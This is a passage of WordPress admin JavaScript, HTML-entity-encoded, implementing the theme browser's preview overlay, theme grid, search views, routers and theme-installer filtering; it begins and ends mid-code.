		&#039;click .devices button&#039;: &#039;previewDevice&#039;,
		&#039;click .previous-theme&#039;: &#039;previousTheme&#039;,
		&#039;click .next-theme&#039;: &#039;nextTheme&#039;,
		&#039;keyup&#039;: &#039;keyEvent&#039;,
		&#039;click .theme-install&#039;: &#039;installTheme&#039;
	},

	// The HTML template for the theme preview.
	html: themes.template( &#039;theme-preview&#039; ),

	render: function() {
		var self = this,
			currentPreviewDevice,
			data = this.model.toJSON(),
			$body = $( document.body );

		$body.attr( &#039;aria-busy&#039;, &#039;true&#039; );

		this.$el.removeClass( &#039;iframe-ready&#039; ).html( this.html( data ) );

		currentPreviewDevice = this.$el.data( &#039;current-preview-device&#039; );
		if ( currentPreviewDevice ) {
			self.togglePreviewDeviceButtons( currentPreviewDevice );
		}

		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( &#039;id&#039; ) ), { replace: false } );

		this.$el.fadeIn( 200, function() {
			$body.addClass( &#039;theme-installer-active full-overlay-active&#039; );
		});

		this.$el.find( &#039;iframe&#039; ).one( &#039;load&#039;, function() {
			self.iframeLoaded();
		});
	},

	iframeLoaded: function() {
		this.$el.addClass( &#039;iframe-ready&#039; );
		$( document.body ).attr( &#039;aria-busy&#039;, &#039;false&#039; );
	},

	close: function() {
		this.$el.fadeOut( 200, function() {
			$( &#039;body&#039; ).removeClass( &#039;theme-installer-active full-overlay-active&#039; );

			// Return focus to the theme div.
			if ( themes.focusedTheme ) {
				themes.focusedTheme.find(&#039;.more-details&#039;).trigger( &#039;focus&#039; );
			}
		}).removeClass( &#039;iframe-ready&#039; );

		// Restore the previous browse tab if available.
		if ( themes.router.selectedTab ) {
			themes.router.navigate( themes.router.baseUrl( &#039;?browse=&#039; + themes.router.selectedTab ) );
			themes.router.selectedTab = false;
		} else {
			themes.router.navigate( themes.router.baseUrl( &#039;&#039; ) );
		}
		this.trigger( &#039;preview:close&#039; );
		this.undelegateEvents();
		this.unbind();
		return false;
	},

	collapse: function( event ) {
		var $button = $( event.currentTarget );
		if ( &#039;true&#039; === $button.attr( &#039;aria-expanded&#039; ) ) {
			$button.attr({ &#039;aria-expanded&#039;: &#039;false&#039;, &#039;aria-label&#039;: l10n.expandSidebar });
		} else {
			$button.attr({ &#039;aria-expanded&#039;: &#039;true&#039;, &#039;aria-label&#039;: l10n.collapseSidebar });
		}

		this.$el.toggleClass( &#039;collapsed&#039; ).toggleClass( &#039;expanded&#039; );
		return false;
	},

	previewDevice: function( event ) {
		var device = $( event.currentTarget ).data( &#039;device&#039; );

		this.$el
			.removeClass( &#039;preview-desktop preview-tablet preview-mobile&#039; )
			.addClass( &#039;preview-&#039; + device )
			.data( &#039;current-preview-device&#039;, device );

		this.togglePreviewDeviceButtons( device );
	},

	togglePreviewDeviceButtons: function( newDevice ) {
		var $devices = $( &#039;.wp-full-overlay-footer .devices&#039; );

		$devices.find( &#039;button&#039; )
			.removeClass( &#039;active&#039; )
			.attr( &#039;aria-pressed&#039;, false );

		$devices.find( &#039;button.preview-&#039; + newDevice )
			.addClass( &#039;active&#039; )
			.attr( &#039;aria-pressed&#039;, true );
	},

	keyEvent: function( event ) {
		// The escape key closes the preview.
		if ( event.keyCode === 27 ) {
			this.undelegateEvents();
			this.close();
		}

		// Return if Ctrl + Shift or Shift key pressed
		if ( event.shiftKey || ( event.ctrlKey &amp;&amp; event.shiftKey ) ) {
			return;
		}

		// The right arrow key, next theme.
		if ( event.keyCode === 39 ) {
			_.once( this.nextTheme() );
		}

		// The left arrow key, previous theme.
		if ( event.keyCode === 37 ) {
			this.previousTheme();
		}
	},

	installTheme: function( event ) {
		var _this   = this,
		    $target = $( event.target );
		event.preventDefault();

		if ( $target.hasClass( &#039;disabled&#039; ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( &#039;wp-theme-install-success&#039;, function() {
			_this.model.set( { &#039;installed&#039;: true } );
		} );

		wp.updates.installTheme( {
			slug: $target.data( &#039;slug&#039; )
		} );
	}
});

// Controls the rendering of div.themes,
// a wrapper that will hold all the theme elements.
themes.view.Themes = wp.Backbone.View.extend({

	className: &#039;themes wp-clearfix&#039;,
	$overlay: $( &#039;div.theme-overlay&#039; ),

	// Number to keep track of scroll position
	// while in theme-overlay mode.
	index: 0,

	// The theme count element.
	count: $( &#039;.wrap .theme-count&#039; ),

	// The live themes count.
	liveThemeCount: 0,

	initialize: function( options ) {
		var self = this;

		// Set up parent.
		this.parent = options.parent;

		// Set current view to [grid].
		this.setView( &#039;grid&#039; );

		// Move the active theme to the beginning of the collection.
		self.currentTheme();

		// When the collection is updated by user input...
		this.listenTo( self.collection, &#039;themes:update&#039;, function() {
			self.parent.page = 0;
			self.currentTheme();
			self.render( this );
		} );

		// Update theme count to full result set when available.
		this.listenTo( self.collection, &#039;query:success&#039;, function( count ) {
			if ( _.isNumber( count ) ) {
				self.count.text( count );
				self.announceSearchResults( count );
			} else {
				self.count.text( self.collection.length );
				self.announceSearchResults( self.collection.length );
			}
		});

		this.listenTo( self.collection, &#039;query:empty&#039;, function() {
			$( &#039;body&#039; ).addClass( &#039;no-results&#039; );
		});

		this.listenTo( this.parent, &#039;theme:scroll&#039;, function() {
			self.renderThemes( self.parent.page );
		});

		this.listenTo( this.parent, &#039;theme:close&#039;, function() {
			if ( self.overlay ) {
				self.overlay.closeOverlay();
			}
		} );

		// Bind keyboard events.
		$( &#039;body&#039; ).on( &#039;keyup&#039;, function( event ) {
			if ( ! self.overlay ) {
				return;
			}

			// Bail if the filesystem credentials dialog is shown.
			if ( $( &#039;#request-filesystem-credentials-dialog&#039; ).is( &#039;:visible&#039; ) ) {
				return;
			}

			// Return if Ctrl + Shift or Shift key pressed
			if ( event.shiftKey || ( event.ctrlKey &amp;&amp; event.shiftKey ) ) {
				return;
			}

			// Pressing the right arrow key fires a theme:next event.
			if ( event.keyCode === 39 ) {
				self.overlay.nextTheme();
			}

			// Pressing the left arrow key fires a theme:previous event.
			if ( event.keyCode === 37 ) {
				self.overlay.previousTheme();
			}

			// Pressing the escape key fires a theme:collapse event.
			if ( event.keyCode === 27 ) {
				self.overlay.collapse( event );
			}
		});
	},

	// Manages rendering of theme pages
	// and keeping theme count in sync.
	render: function() {
		// Clear the DOM, please.
		this.$el.empty();

		// If the user doesn&#039;t have switch capabilities or there is only one theme
		// in the collection, render the detailed view of the active theme.
		if ( themes.data.themes.length === 1 ) {

			// Constructs the view.
			this.singleTheme = new themes.view.Details({
				model: this.collection.models[0]
			});

			// Render and apply a &#039;single-theme&#039; class to our container.
			this.singleTheme.render();
			this.$el.addClass( &#039;single-theme&#039; );
			this.$el.append( this.singleTheme.el );
		}

		// Generate the themes using page instance
		// while checking the collection has items.
		if ( this.options.collection.size() &gt; 0 ) {
			this.renderThemes( this.parent.page );
		}

		// Display a live theme count for the collection.
		this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
		this.count.text( this.liveThemeCount );

		/*
		 * In the theme installer the themes count is already announced
		 * because `announceSearchResults` is called on `query:success`.
		 */
		if ( ! themes.isInstall ) {
			this.announceSearchResults( this.liveThemeCount );
		}
	},

	// Iterates through each instance of the collection
	// and renders each theme module.
	renderThemes: function( page ) {
		var self = this;

		self.instance = self.collection.paginate( page );

		// If we have no more themes, bail.
		if ( self.instance.size() === 0 ) {
			// Fire a no-more-themes event.
			this.parent.trigger( &#039;theme:end&#039; );
			return;
		}

		// Make sure the add-new stays at the end.
		if ( ! themes.isInstall &amp;&amp; page &gt;= 1 ) {
			$( &#039;.add-new-theme&#039; ).remove();
		}

		// Loop through the themes and setup each theme view.
		self.instance.each( function( theme ) {
			self.theme = new themes.view.Theme({
				model: theme,
				parent: self
			});

			// Render the views...
			self.theme.render();
			// ...and append them to div.themes.
			self.$el.append( self.theme.el );

			// Binds to theme:expand to show the modal box
			// with the theme details.
			self.listenTo( self.theme, &#039;theme:expand&#039;, self.expand, self );
		});

		// &#039;Add new theme&#039; element shown at the end of the grid.
		if ( ! themes.isInstall &amp;&amp; themes.data.settings.canInstall ) {
			this.$el.append( &#039;&lt;div class=&quot;theme add-new-theme&quot;&gt;&lt;a href=&quot;&#039; + themes.data.settings.installURI + &#039;&quot;&gt;&lt;div class=&quot;theme-screenshot&quot;&gt;&lt;span aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;h2 class=&quot;theme-name&quot;&gt;&#039; + l10n.addNew + &#039;&lt;/h2&gt;&lt;/a&gt;&lt;/div&gt;&#039; );
		}

		this.parent.page++;
	},

	// Grabs current theme and puts it at the beginning of the collection.
	currentTheme: function() {
		var self = this,
			current;

		current = self.collection.findWhere({ active: true });

		// Move the active theme to the beginning of the collection.
		if ( current ) {
			self.collection.remove( current );
			self.collection.add( current, { at:0 } );
		}
	},

	// Sets current view.
	setView: function( view ) {
		return view;
	},

	// Renders the overlay with the ThemeDetails view.
	// Uses the current model data.
	expand: function( id ) {
		var self = this, $card, $modal;

		// Set the current theme model.
		this.model = self.collection.get( id );

		// Trigger a route update for the current model.
		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );

		// Sets this.view to &#039;detail&#039;.
		this.setView( &#039;detail&#039; );
		$( &#039;body&#039; ).addClass( &#039;modal-open&#039; );

		// Set up the theme details view.
		this.overlay = new themes.view.Details({
			model: self.model
		});

		this.overlay.render();

		if ( this.model.get( &#039;hasUpdate&#039; ) ) {
			$card  = $( &#039;[data-slug=&quot;&#039; + this.model.id + &#039;&quot;]&#039; );
			$modal = $( this.overlay.el );

			if ( $card.find( &#039;.updating-message&#039; ).length ) {
				$modal.find( &#039;.notice-warning h3&#039; ).remove();
				$modal.find( &#039;.notice-warning&#039; )
					.removeClass( &#039;notice-large&#039; )
					.addClass( &#039;updating-message&#039; )
					.find( &#039;p&#039; ).text( wp.updates.l10n.updating );
			} else if ( $card.find( &#039;.notice-error&#039; ).length ) {
				$modal.find( &#039;.notice-warning&#039; ).remove();
			}
		}

		this.$overlay.html( this.overlay.el );

		// Bind to theme:next and theme:previous triggered by the arrow keys.
		// Keep track of the current model so we can infer an index position.
		this.listenTo( this.overlay, &#039;theme:next&#039;, function() {
			// Renders the next theme on the overlay.
			self.next( [ self.model.cid ] );

		})
		.listenTo( this.overlay, &#039;theme:previous&#039;, function() {
			// Renders the previous theme on the overlay.
			self.previous( [ self.model.cid ] );
		});
	},

	/*
	 * This method renders the next theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	next: function( args ) {
		var self = this,
			model, nextModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the next model within the collection.
		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );

		// Confidence check which also serves as a boundary test.
		if ( nextModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( &#039;theme:expand&#039;, nextModel.cid );

		}
	},

	/*
	 * This method renders the previous theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	previous: function( args ) {
		var self = this,
			model, previousModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the previous model within the collection.
		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );

		if ( previousModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( &#039;theme:expand&#039;, previousModel.cid );

		}
	},

	// Dispatch audible search results feedback message.
	announceSearchResults: function( count ) {
		if ( 0 === count ) {
			wp.a11y.speak( l10n.noThemesFound );
		} else {
			wp.a11y.speak( l10n.themesFound.replace( &#039;%d&#039;, count ) );
		}
	}
});

// Search input view controller.
themes.view.Search = wp.Backbone.View.extend({

	tagName: &#039;input&#039;,
	className: &#039;wp-filter-search&#039;,
	id: &#039;wp-filter-search-input&#039;,
	searching: false,

	attributes: {
		type: &#039;search&#039;,
		&#039;aria-describedby&#039;: &#039;live-search-desc&#039;
	},

	events: {
		&#039;input&#039;: &#039;search&#039;,
		&#039;keyup&#039;: &#039;search&#039;,
		&#039;blur&#039;: &#039;pushState&#039;
	},

	initialize: function( options ) {

		this.parent = options.parent;

		this.listenTo( this.parent, &#039;theme:close&#039;, function() {
			this.searching = false;
		} );

	},

	search: function( event ) {
		// Clear on escape.
		if ( event.type === &#039;keyup&#039; &amp;&amp; event.which === 27 ) {
			event.target.value = &#039;&#039;;
		}

		// Since doSearch is debounced, it will only run when user input comes to a rest.
		this.doSearch( event );
	},

	// Runs a search on the theme collection.
	doSearch: function( event ) {
		var options = {};

		this.collection.doSearch( event.target.value.replace( /\+/g, &#039; &#039; ) );

		// if search is initiated and key is not return.
		if ( this.searching &amp;&amp; event.which !== 13 ) {
			options.replace = true;
		} else {
			this.searching = true;
		}

		// Update the URL hash.
		if ( event.target.value ) {
			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
		} else {
			themes.router.navigate( themes.router.baseUrl( &#039;&#039; ) );
		}
	},

	pushState: function( event ) {
		var url = themes.router.baseUrl( &#039;&#039; );

		if ( event.target.value ) {
			url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
		}

		this.searching = false;
		themes.router.navigate( url );

	}
});

/**
 * Navigate router.
 *
 * @since 4.9.0
 *
 * @param {string} url - URL to navigate to.
 * @param {Object} state - State.
 * @return {void}
 */
function navigateRouter( url, state ) {
	var router = this;
	if ( Backbone.history._hasPushState ) {
		Backbone.Router.prototype.navigate.call( router, url, state );
	}
}

// Sets up the routes events for relevant url queries.
// Listens to [theme] and [search] params.
themes.Router = Backbone.Router.extend({

	routes: {
		&#039;themes.php?theme=:slug&#039;: &#039;theme&#039;,
		&#039;themes.php?search=:query&#039;: &#039;search&#039;,
		&#039;themes.php?s=:query&#039;: &#039;search&#039;,
		&#039;themes.php&#039;: &#039;themes&#039;,
		&#039;&#039;: &#039;themes&#039;
	},

	baseUrl: function( url ) {
		return &#039;themes.php&#039; + url;
	},

	themePath: &#039;?theme=&#039;,
	searchPath: &#039;?search=&#039;,

	search: function( query ) {
		$( &#039;.wp-filter-search&#039; ).val( query.replace( /\+/g, &#039; &#039; ) );
	},

	themes: function() {
		$( &#039;.wp-filter-search&#039; ).val( &#039;&#039; );
	},

	navigate: navigateRouter

});

// Execute and setup the application.
themes.Run = {
	init: function() {
		// Initializes the blog&#039;s theme library view.
		// Create a new collection with data.
		this.themes = new themes.Collection( themes.data.themes );

		// Set up the view.
		this.view = new themes.view.Appearance({
			collection: this.themes
		});

		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this;
		// Bind to our global thx object
		// so that the object is available to sub-views.
		themes.router = new themes.Router();

		// Handles theme details route event.
		themes.router.on( &#039;route:theme&#039;, function( slug ) {
			self.view.view.expand( slug );
		});

		themes.router.on( &#039;route:themes&#039;, function() {
			self.themes.doSearch( &#039;&#039; );
			self.view.trigger( &#039;theme:close&#039; );
		});

		// Handles search route event.
		themes.router.on( &#039;route:search&#039;, function() {
			$( &#039;.wp-filter-search&#039; ).trigger( &#039;keyup&#039; );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Extend the main Search view.
themes.view.InstallerSearch =  themes.view.Search.extend({

	events: {
		&#039;input&#039;: &#039;search&#039;,
		&#039;keyup&#039;: &#039;search&#039;
	},

	terms: &#039;&#039;,

	// Handles Ajax request for searching through themes in public repo.
	search: function( event ) {

		// Tabbing or reverse tabbing into the search input shouldn&#039;t trigger a search.
		if ( event.type === &#039;keyup&#039; &amp;&amp; ( event.which === 9 || event.which === 16 ) ) {
			return;
		}

		this.collection = this.options.parent.view.collection;

		// Clear on escape.
		if ( event.type === &#039;keyup&#039; &amp;&amp; event.which === 27 ) {
			event.target.value = &#039;&#039;;
		}

		this.doSearch( event.target.value );
	},

	doSearch: function( value ) {
		var request = {};

		// Don&#039;t do anything if the search terms haven&#039;t changed.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		request.search = value;

		/*
		 * Intercept an [author] search.
		 *
		 * If input value starts with `author:` send a request
		 * for `author` instead of a regular `search`.
		 */
		if ( value.substring( 0, 7 ) === &#039;author:&#039; ) {
			request.search = &#039;&#039;;
			request.author = value.slice( 7 );
		}

		/*
		 * Intercept a [tag] search.
		 *
		 * If input value starts with `tag:` send a request
		 * for `tag` instead of a regular `search`.
		 */
		if ( value.substring( 0, 4 ) === &#039;tag:&#039; ) {
			request.search = &#039;&#039;;
			request.tag = [ value.slice( 4 ) ];
		}

		$( &#039;.filter-links li &gt; a.current&#039; )
			.removeClass( &#039;current&#039; )
			.removeAttr( &#039;aria-current&#039; );

		$( &#039;body&#039; ).removeClass( &#039;show-filters filters-applied show-favorites-form&#039; );
		$( &#039;.drawer-toggle&#039; ).attr( &#039;aria-expanded&#039;, &#039;false&#039; );

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );

		// Set route.
		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
	}
});

themes.view.Installer = themes.view.Appearance.extend({

	el: &#039;#wpbody-content .wrap&#039;,

	// Register events for sorting and filters in theme-navigation.
	events: {
		&#039;click .filter-links li &gt; a&#039;: &#039;onSort&#039;,
		&#039;click .theme-filter&#039;: &#039;onFilter&#039;,
		&#039;click .drawer-toggle&#039;: &#039;moreFilters&#039;,
		&#039;click .filter-drawer .apply-filters&#039;: &#039;applyFilters&#039;,
		&#039;click .filter-group [type=&quot;checkbox&quot;]&#039;: &#039;addFilter&#039;,
		&#039;click .filter-drawer .clear-filters&#039;: &#039;clearFilters&#039;,
		&#039;click .edit-filters&#039;: &#039;backToFilters&#039;,
		&#039;click .favorites-form-submit&#039; : &#039;saveUsername&#039;,
		&#039;keyup #wporg-username-input&#039;: &#039;saveUsername&#039;
	},

	// Initial render method.
	render: function() {
		var self = this;

		this.search();
		this.uploader();

		this.collection = new themes.Collection();

		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
		this.listenTo( this, &#039;theme:end&#039;, function() {

			// Make sure we are not already loading.
			if ( self.collection.loadingThemes ) {
				return;
			}

			// Set loadingThemes to true and bump page instance of currentQuery.
			self.collection.loadingThemes = true;
			self.collection.currentQuery.page++;

			// Use currentQuery.page to build the themes request.
			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
			self.collection.query( self.collection.currentQuery.request );
		});

		this.listenTo( this.collection, &#039;query:success&#039;, function() {
			$( &#039;body&#039; ).removeClass( &#039;loading-content&#039; );
			$( &#039;.theme-browser&#039; ).find( &#039;div.error&#039; ).remove();
		});

		this.listenTo( this.collection, &#039;query:fail&#039;, function() {
			$( &#039;body&#039; ).removeClass( &#039;loading-content&#039; );
			$( &#039;.theme-browser&#039; ).find( &#039;div.error&#039; ).remove();
			$( &#039;.theme-browser&#039; ).find( &#039;div.themes&#039; ).before( &#039;&lt;div class=&quot;notice notice-error&quot;&gt;&lt;p&gt;&#039; + l10n.error + &#039;&lt;/p&gt;&lt;p&gt;&lt;button class=&quot;button try-again&quot;&gt;&#039; + l10n.tryAgain + &#039;&lt;/button&gt;&lt;/p&gt;&lt;/div&gt;&#039; );
			$( &#039;.theme-browser .error .try-again&#039; ).on( &#039;click&#039;, function( e ) {
				e.preventDefault();
				$( &#039;input.wp-filter-search&#039; ).trigger( &#039;input&#039; );
			} );
		});

		if ( this.view ) {
			this.view.remove();
		}

		// Sets up the view and passes the section argument.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Reset pagination every time the install view handler is run.
		this.page = 0;

		// Render and append.
		this.$el.find( &#039;.themes&#039; ).remove();
		this.view.render();
		this.$el.find( &#039;.theme-browser&#039; ).append( this.view.el ).addClass( &#039;rendered&#039; );
	},

	// Handles all the rendering of the public theme directory.
	browse: function( section ) {
		// Create a new collection with the proper theme data
		// for each section.
		if ( &#039;block-themes&#039; === section ) {
			// Get the themes by sending Ajax POST request to api.wordpress.org/themes
			// or searching the local cache.
			this.collection.query( { tag: &#039;full-site-editing&#039; } );
		} else {
			this.collection.query( { browse: section } );
		}
	},

	// Sorting navigation.
	onSort: function( event ) {
		var $el = $( event.target ),
			sort = $el.data( &#039;sort&#039; );

		event.preventDefault();

		$( &#039;body&#039; ).removeClass( &#039;filters-applied show-filters&#039; );
		$( &#039;.drawer-toggle&#039; ).attr( &#039;aria-expanded&#039;, &#039;false&#039; );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		this.sort( sort );

		// Trigger a router.navigate update.
		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
	},

	sort: function( sort ) {
		this.clearSearch();

		// Track sorting so we can restore the correct tab when closing preview.
		themes.router.selectedTab = sort;

		$( &#039;.filter-links li &gt; a, .theme-filter&#039; )
			.removeClass( this.activeClass )
			.removeAttr( &#039;aria-current&#039; );

		$( &#039;[data-sort=&quot;&#039; + sort + &#039;&quot;]&#039; )
			.addClass( this.activeClass )
			.attr( &#039;aria-current&#039;, &#039;page&#039; );

		if ( &#039;favorites&#039; === sort ) {
			$( &#039;body&#039; ).addClass( &#039;show-favorites-form&#039; );
		} else {
			$( &#039;body&#039; ).removeClass( &#039;show-favorites-form&#039; );
		}

		this.browse( sort );
	},

	// Filters and Tags.
	onFilter: function( event ) {
		var request,
			$el = $( event.target ),
			filter = $el.data( &#039;filter&#039; );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		$( &#039;.filter-links li &gt; a, .theme-section&#039; )
			.removeClass( this.activeClass )
			.removeAttr( &#039;aria-current&#039; );
		$el
			.addClass( this.activeClass )
			.attr( &#039;aria-current&#039;, &#039;page&#039; );

		if ( ! filter ) {
			return;
		}

		// Construct the filter request
		// using the default values.
		filter = _.union( [ filter, this.filtersChecked() ] );
		request = { tag: [ filter ] };

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Clicking on a checkbox to add another filter to the request.
	addFilter: function() {
		this.filtersChecked();
	},

	// Applying filters triggers a tag request.
	applyFilters: function( event ) {
		var name,
			tags = this.filtersChecked(),
			request = { tag: tags },
			filteringBy = $( &#039;.filtered-by .tags&#039; );

		if ( event ) {
			event.preventDefault();
		}

		if ( ! tags ) {
			wp.a11y.speak( l10n.selectFeatureFilter );
			return;
		}

		$( &#039;body&#039; ).addClass( &#039;filters-applied&#039; );
		$( &#039;.filter-links li &gt; a.current&#039; )
			.removeClass( &#039;current&#039; )
			.removeAttr( &#039;aria-current&#039; );

		filteringBy.empty();

		_.each( tags, function( tag ) {
			name = $( &#039;label[for=&quot;filter-id-&#039; + tag + &#039;&quot;]&#039; ).text();
			filteringBy.append( &#039;&lt;span class=&quot;tag&quot;&gt;&#039; + name + &#039;&lt;/span&gt;&#039; );
		});

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Save the user&#039;s WordPress.org username and get his favorite themes.
	saveUsername: function ( event ) {
		var username = $( &#039;#wporg-username-input&#039; ).val(),
			nonce = $( &#039;#wporg-username-nonce&#039; ).val(),
			request = { browse: &#039;favorites&#039;, user: username },
			that = this;

		if ( event ) {
			event.preventDefault();
		}

		// Save username on enter.
		if ( event.type === &#039;keyup&#039; &amp;&amp; event.which !== 13 ) {
			return;
		}

		return wp.ajax.send( &#039;save-wporg-username&#039;, {
			data: {
				_wpnonce: nonce,
				username: username
			},
			success: function () {
				// Get the themes by sending Ajax POST request to api.wordpress.org/themes
				// or searching the local cache.
				that.collection.query( request );
			}
		} );
	},

	/**
	 * Get the checked filters.
	 *
	 * @return {Array} of tags or false
	 */
	filtersChecked: function() {
		var items = $( &#039;.filter-group&#039; ).find( &#039;:checkbox&#039; ),
			tags = [];

		_.each( items.filter( &#039;:checked&#039; ), function( item ) {
			tags.push( $( item ).prop( &#039;value&#039; ) );
		});

		// When no filters are checked, restore initial state and return.
		if ( tags.length === 0 ) {
			$( &#039;.filter-drawer .apply-filters&#039; ).find( &#039;span&#039; ).text( &#039;&#039; );
			$( &#039;.filter-drawer .clear-filters&#039; ).hide();
			$( &#039;body&#039; ).removeClass( &#039;filters-applied&#039; );
			return false;
		}

		$( &#039;.filter-drawer .apply-filters&#039; ).find( &#039;span&#039; ).text( tags.length );
		$( &#039;.filter-drawer .clear-filters&#039; ).css( &#039;display&#039;, &#039;inline-block&#039; );

		return tags;
	},

	activeClass: &#039;current&#039;,

	/**
	 * When users press the &quot;Upload Theme&quot; button, show the upload form in place.
	 */
	uploader: function() {
		var uploadViewToggle = $( &#039;.upload-view-toggle&#039; ),
			$body = $( document.body );

		uploadViewToggle.on( &#039;click&#039;, function() {
			// Toggle the upload view.
			$body.toggleClass( &#039;show-upload-view&#039; );
			// Toggle the `aria-expanded` button attribute.
			uploadViewToggle.attr( &#039;aria-expanded&#039;, $body.hasClass( &#039;show-upload-view&#039; ) );
		});
	},

	// Toggle the full filters navigation.
	moreFilters: function( event ) {
		var $body = $( &#039;body&#039; ),
			$toggleButton = $( &#039;.drawer-toggle&#039; );

		event.preventDefault();

		if ( $body.hasClass( &#039;filters-applied&#039; ) ) {
			return this.backToFilters();
		}

		this.clearSearch();

		themes.router.navigate( themes.router.baseUrl( &#039;&#039; ) );
		// Toggle the feature filters view.
		$body.toggleClass( &#039;show-filters&#039; );
		// Toggle the `aria-expanded` button attribute.
		$toggleButton.attr( &#039;aria-expanded&#039;, $body.hasClass( &#039;show-filters&#039; ) );
	},

	/**
	 * Clears all the checked filters.
	 *
	 * @uses filtersChecked()
	 */
	clearFilters: function( event ) {
		var items = $( &#039;.filter-group&#039; ).find( &#039;:checkbox&#039; ),
			self = this;

		event.preventDefault();

		_.each( items.filter( &#039;:checked&#039; ), function( item ) {
			$( item ).prop( &#039;checked&#039;, false );
			return self.filtersChecked();
		});
	},

	backToFilters: function( event ) {
		if ( event ) {
			event.preventDefault();
		}

		$( &#039;body&#039; ).removeClass( &#039;filters-applied&#039; );
	},

	clearSearch: function() {
		$( &#039;#wp-filter-search-input&#039;).val( &#039;&#039; );
	}
});

themes.InstallerRouter = Backbone.Router.extend({
	routes: {
		&#039;theme-install.php?theme=:slug&#039;: &#039;preview&#039;,
		&#039;theme-install.php?browse=:sort&#039;: &#039;sort&#039;,
		&#039;theme-install.php?search=:query&#039;: &#039;search&#039;,
		&#039;theme-install.php&#039;: &#039;sort&#039;
	},

	baseUrl: function( url ) {
		return &#039;theme-install.php&#039; + url;
	},

	themePath: &#039;?theme=&#039;,
	browsePath: &#039;?browse=&#039;,
	searchPath: &#039;?search=&#039;,

	search: function( query ) {
		$( &#039;.wp-filter-search&#039; ).val( query.replace( /\+/g, &#039; &#039; ) );
	},

	navigate: navigateRouter
});


themes.RunInstaller = {

	init: function() {
		// Set up the view.
		// Passes the default &#039;section&#039; as an option.
		this.view = new themes.view.Installer({
			section: &#039;popular&#039;,
			SearchView: themes.view.InstallerSearch
		});

		// Render results.
		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this,
			request = {};

		// Bind to our global `wp.themes` object
		// so that the router is available to sub-views.
		themes.router = new themes.InstallerRouter();

		// Handles `theme` route event.
		// Queries the API for the passed theme slug.
		themes.router.on( &#039;route:preview&#039;, function( slug ) {

			// Remove existing handlers.
			if ( themes.preview ) {
				themes.preview.undelegateEvents();
				themes.preview.unbind();
			}

			// If the theme preview is active, set the current theme.
			if ( self.view.view.theme &amp;&amp; self.view.view.theme.preview ) {
				self.view.view.theme.model = self.view.collection.findWhere( { &#039;slug&#039;: slug } );
				self.view.view.theme.preview();
			} else {

				// Select the theme by slug.
				request.theme = slug;
				self.view.collection.query( request );
				self.view.collection.trigger( &#039;update&#039; );

				// Open the theme preview.
				self.view.collection.once( &#039;query:success&#039;, function() {
					$( &#039;div[data-slug=&quot;&#039; + slug + &#039;&quot;]&#039; ).trigger( &#039;click&#039; );
				});

			}
		});

		/*
		 * Handles sorting / browsing routes.
		 * Also handles the root URL triggering a sort request
		 * for `popular`, the default view.
		 */
		themes.router.on( &#039;route:sort&#039;, function( sort ) {
			if ( ! sort ) {
				sort = &#039;popular&#039;;
				themes.router.navigate( themes.router.baseUrl( &#039;?browse=popular&#039; ), { replace: true } );
			}
			self.view.sort( sort );

			// Close the preview if open.
			if ( themes.preview ) {
				themes.preview.close();
			}
		});

		// The `search` route event. The router populates the input field.
		themes.router.on( &#039;route:search&#039;, function() {
			$( &#039;.wp-filter-search&#039; ).trigger( &#039;focus&#039; ).trigger( &#039;keyup&#039; );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Ready...
$( function() {
	if ( themes.isInstall ) {
		themes.RunInstaller.init();
	} else {
		themes.Run.init();
	}

	// Update the return param just in time.
	$( document.body ).on( &#039;click&#039;, &#039;.load-customize&#039;, function() {
		var link = $( this ), urlParser = document.createElement( &#039;a&#039; );
		urlParser.href = link.prop( &#039;href&#039; );
		urlParser.search = $.param( _.extend(
